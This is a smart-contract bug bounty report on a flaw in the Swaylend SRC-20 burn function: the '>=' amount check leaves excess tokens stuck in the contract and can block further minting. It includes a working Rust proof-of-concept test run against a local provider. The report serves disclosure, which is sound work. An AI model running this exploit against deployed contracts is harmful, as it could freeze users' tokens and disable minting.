#35793 [SC-High] `src-20.burn` should use "==" instead of ">="
Submitted on Oct 8th 2024 at 14:05:18 UTC by @jasonxiale for IOP | Swaylend
Report ID: #35793
Report Type: Smart Contract
Report severity: High
Target: https://github.com/Swaylend/swaylend-monorepo/blob/develop/contracts/src-20/src/main.sw
Impacts:
Block stuffing
Description
Brief/Intro
While burning tokens, `src-20.burn` checks msg_amount() >= amount, and updates `total_supply` as `storage.total_supply.read() - amount` in main.sw#L159-L160, and afterwards, `amount` of token will be burned in main.sw#L162
The issue is that
The totalSupply is capped by 1_000_000_000_000_000_000u64, which means there will be at most 1_000_000_000_000_000_000u64 amount of token
In `src-20.burn`, the `storage.total_supply` is subtracted by `amount`, and `amount` of tokens will be burnt, which means `amount` is less than `msg_amount()`, the rest of token will be left in the `src-20` contract.
And because `src-20` contract doesn't have any ABI to transfer the token out, the token will be stucked in the contract
Vulnerability Details
As shown in the following code: ```Rust 149 #[payable] 150 #[storage(read, write)] 151 fn burn(sub_id: SubId, amount: u64) { 152 require(sub_id == DEFAULT_SUB_ID, "incorrect-sub-id"); 153 require(msg_amount() >= amount, "incorrect-amount-provided"); <<<--- Here "==" should be used 154 require( 155 msg_asset_id() == AssetId::default(), 156 "incorrect-asset-provided", 157 ); 158 159 let new_supply = storage.total_supply.read() - amount; 160 storage.total_supply.write(new_supply); 161 162 burn(DEFAULT_SUB_ID, amount); 163 164 TotalSupplyEvent::new(AssetId::default(), new_supply, msg_sender().unwrap()) 165 .log(); 166 } ```
Impact Details
So please consider in a worst situation:
The erc-20 owner mints `MAX_SUPPLY(1_000_000_000_000_000_000u64)` amount of token to Alice
Alice calls `erc-20.burn` with `amount` as `0`, so all the token will be transferred to `erc-20` contract, and will be stucked.
The erc-20 owner can't mint any token more, because the `total_supply` has reached its MAX_SUPPLY
References
Add any relevant links to documentation or code
Proof of Concept
Proof of Concept
Please create a folder with path `swaylend-monorepo/contracts/src-20/tests`, and add the following code into `swaylend-monorepo/contracts/src-20/tests/harness.rs`
And run ```bash cargo test burn_token -- --nocapture ... running 1 test mint wallet1 1000000000000000000 amount of token wallet_1 balance: 1000000000000000000 wallet1 burn 1000000000000000000 amount of token wallet_1 balance: 0 mint wallet1 1 amount of token test burn_token ... ok
```
As shown in the POC, the owner(wallet_0) first mints wallet_1 `1000000000000000000` amount of token, then wallet_1 calls `src-20.burn` with `amount` as 0, and then if the owner tries to mint 1 amount of token, the tx will revert
```Rust use fuels::{prelude::*, types::ContractId}; use fuels::types::{Address, AssetId, Bits256, Bytes32, Identity}; use sha2::{Digest, Sha256};
// Load abi from json abigen!( Contract( name = "SingleAsset", abi = "/opt/swaylend-monorepo/contracts/src-20/out/debug/src-20-abi.json" ) );
#[tokio::test] async fn burn_token() -> Result<()> { let max_supply = 1_000_000_000_000_000_000u64; let mut wallets = launch_custom_provider_and_get_wallets( WalletsConfig::new( Some(5), Some(1), Some(1_000_000_000), /* Amount per coin */ ), None, None, ) .await .unwrap(); let wallet_0 = wallets.pop().unwrap(); let wallet_1 = wallets.pop().unwrap();
let erc20_id = Contract::load_from(
"/opt/swaylend-monorepo/contracts/src-20/out/debug/src-20.bin",
LoadConfiguration::default(),
)
.unwrap()
.deploy(&wallet_0, TxPolicies::default())
.await
.unwrap();
let identity_0 = Identity::Address(Address::from(wallet_0.address()));
let erc20_instance = SingleAsset::new(erc20_id.clone(), wallet_0.clone());
let erc20_contract_id: ContractId = erc20_id.into();
let sub_id = Bytes32::from([0u8; 32]);
erc20_instance.methods().constructor(identity_0).call().await?;
let identity_1 = Identity::Address(Address::from(wallet_1.address()));
println!("mint wallet1 {} amount of token", max_supply);
erc20_instance.clone().with_account(wallet_0.clone()).methods().mint(identity_1, Some(Bits256(*sub_id)), max_supply).with_variable_output_policy(VariableOutputPolicy::Exactly(1)).call().await?;
let asset_id = get_asset_id(sub_id, erc20_contract_id);
println!("wallet_1 balance: {}", get_wallet_balance(&wallet_1, &asset_id).await);
println!("wallet1 burn {} amount of token", max_supply);
let call_params = CallParameters::new(max_supply, asset_id, 1_000_000);
erc20_instance.clone().with_account(wallet_1.clone()).methods().burn(Bits256(*sub_id), 0).with_tx_policies(TxPolicies::default().with_script_gas_limit(2_000_000)).call_params(call_params).unwrap().call().await?;
println!("wallet_1 balance: {}", get_wallet_balance(&wallet_1, &asset_id).await);
let one = 1;
println!("mint wallet1 {} amount of token", one);
let burn_res = erc20_instance.clone().with_account(wallet_0.clone()).methods().mint(identity_1, Some(Bits256(*sub_id)), one).with_variable_output_policy(VariableOutputPolicy::Exactly(1)).call().await;
assert!(burn_res.is_err());
Ok(())
}
pub(crate) fn get_asset_id(sub_id: Bytes32, contract: ContractId) -> AssetId { let mut hasher = Sha256::new(); hasher.update(*contract); hasher.update(*sub_id); AssetId::new(*Bytes32::from(<[u8; 32]>::from(hasher.finalize()))) } pub(crate) async fn get_wallet_balance(wallet: &WalletUnlocked, asset: &AssetId) -> u64 { wallet.get_asset_balance(asset).await.unwrap() } ```
Last updated
Was this helpful?